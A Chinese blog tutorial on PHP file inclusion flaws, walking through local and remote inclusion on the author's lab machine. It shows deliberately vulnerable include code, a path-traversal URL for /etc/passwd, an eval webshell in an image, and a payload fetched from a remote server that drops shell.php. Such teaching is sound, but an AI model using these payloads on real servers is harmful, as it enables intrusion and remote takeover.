文件包含漏洞

简介:

文件包含漏洞主要可分为两种:本地文件包含漏洞和远程文件包含漏洞。
在 PHP 开发中,可以通过文件包含函数加载另一个文件中的 PHP 代码,并且当PHP来执行,这会为开发者节省大量的时间。比如在 Web 网页项目开发中,会经常遇到一个网站所有的页眉菜单文件都是相同的,不同的只是下面的各个页面内容。比如一个网站有 1.php,2.php 这么多页面,其菜单栏目均是一样的,这时就可以通过文件包含的方式,创建一个 caidan.php 公用文件,然后分别在 1.php,2.php 文件中包含 caidan.php 即可,不必在每一个页面中重新编写菜单内容。当菜单需要更新时,您只更新一个包含文件就可以了而不用更新每一个页面。

一、本地文件包含漏洞

本地文件包含漏洞 LFI(Local File Inclusion),顾名思义,指的是能打开并包含本地服务器上文件的漏洞。大部分情况下遇到的文件包含漏洞都是本地文件包含漏洞。在 PHP 程序中,使用了文件包含函数,其会把包含的文件当做 .php文件来执行,所以也就导致了漏洞的产生。

PHP 中文件包含主要有以下 4 个函数:

require()
require_once()
include()
include_once()

而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

测试代码:

<?php 
$filename = $_GET['filename'];
include($filename);
?>

我将上面的这段代码保存在我的服务器上并命名为了 file_include.php 我们正常访问一下来看看。可以看到它报错了,因为我们的 filename 变量并没有包含任何文件,所以报错了。如下图:

那么我们可以尝试包含一下 /etc/passwd 文件(注意是 Linux 我这里切换了操作系统了 ),可以看到是读取出来了系统文件的密码信息的。

http://192.168.217.132/file_include/file_include.php?filename=./../../../../../etc/passwd

可以看到成功读取到了 passwd 文件。
继续测试下一个,读取本地其他文件,我们在目录下继续创建一个 phpinfo.txt 并写入以下 PHP 检测代码:

<?php
phpinfo();
?>

注意我们这里是写入的一个普通的 txt 文件,接下来我们就可以利用文件包含来读取,然后访问如下 url:
http://192.168.217.132/file_include/file_include.php?filename=./phpinfo.txt
成功执行了我们预期想得结果:执行了 phpinnfo()

其实无论将扩展名改为什么,都将以 PHP 代码执行。如果文件不是符合 PHP 规则的(即没有写等),则通过include可以直接输出源码。那么其实我们可以利用上传的话上传一张图片马,就正常的 .jpg 格式就行,这里也不用去上传绕过了,只要可以上传图片就行。我们新建一个图片马,比如我喜欢的直接创建一个 a.jpg 文件,然后使用 notepad++ 打开,写入如下一句话:

<?php @eval($_POST['cmd']); ?>

然后将其上传到网站上,注意一定要我们知道文件具体的路径,假设我这里还是上传到了此目录下,如果对于上传不好找目录的时候最常用的就是先写好一个 phpinfo 的 txt 文件,然后慢慢尝试找路径。我这里已经找到了我上传的图片马的路径及其名字了,访问一下并执行一下命令试试:

可以看出来,一句话木马也成功执行了,我们这时候就可以执行我们想要执行的各种命令了,还可以连接我们的菜刀以及蚁剑等。

二、远程文件包含

远程文件包含其实也就是可以包含其他公网上服务器上的文件,但是实际利用起来条件比较苛刻。要求 PHP 的配置文件 php.ini 中的配置项 allow_url_fopen 和 allow_url_include 设置为 ON,然后就跟本地文件包含一样需要 include/require 等包含函数可以加载远程文件,这就是远程文件包含漏洞。

allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件,默认关闭)

需要上面两个选项同时为打开状态才可以,假设都已开启,那么我们就可以尝试一下远程包含一个文件试试。还需要做的就是有一台公网服务器(实战中肯定是需要的,也可以用虚拟机模拟一个出来,只要互相可以访问就行),然后公网服务器上面我放了一个 a.txt 文件,代码内容如下:

<?php
phpinfo();
?>

远程包含访问一下:
http://192.168.217.132/file_include/file_include.php?filename=http://www.writeup.top/a.txt

可以看出来,我本地搭的 192.168.217.132 的靶场测试机器包含了我的 www.writeup.top 网站上的 a.txt 文件,并且当做了 PHP 文件执行了。

那么我们再想,我们是不是依然可以包含一个远程的小马,或者图片马之类的,说干就干。在我们自己的服务器上创建一个 b.txt (或者 b.jpg 文件都可以,只要允许被远程包含的文件类型)的文件,然后写入:

<?php
$payload = "<?php eval(\$_POST['cmd']);?>";
$myfile = fopen("shell.php", "w") or die("Unable to open file!");
fwrite($myfile,$payload);
fclose($myfile);
?>

依然放在了我的 www.writeup.top 网站上,然后再使用远程包含访问这个 URL :
http://192.168.217.132/file_include/file_include.php?filename=http://www.writeup.top/b.txt
然后上面的代码就会在本地的 192.168.217.132 靶机上创建一个名为 shell.php 的文件,那么我们就可以用菜刀来连接本地这个靶机了,获得权限。

PS:今天也有在网上看到其他小伙伴的远程包含,说的是直接在自己的远程服务器创建一个一句话木马,这个样子的:

http://192.168.217.132/file_include/file_include.php?filename=http://www.writeup.top/c.txt

c.txt 文件中写的是一句话木马,然后使用菜刀连接,我试过之后发现是不可以菜刀直接连接的,最好的办法还是生成一个 shell.php 小马在靶机(192.168.217.132)上更好一点吧。

参考链接:
Web安全实战系列:文件包含漏洞:https://www.freebuf.com/articles/web/182280.html
利用文件包含漏洞和图片一句话getshell:http://canmengblog.lofter.com/post/1d61af1b_12b66f72
远程文件包含webshell:https://www.jianshu.com/p/be68cf9be911
文件包含漏洞及其攻击思路:https://juejin.im/post/5e33f8abe51d45020a6994f0
[基本实验] 远程文件包含:https://blog.csdn.net/hitwangpeng/article/details/47068523
Pikachu漏洞练习平台实验——文件包含(File Inclusion)(六):https://www.cnblogs.com/dogecheng/p/11635220.html

发表评论

电子邮件地址不会被公开。必填项已用 * 标注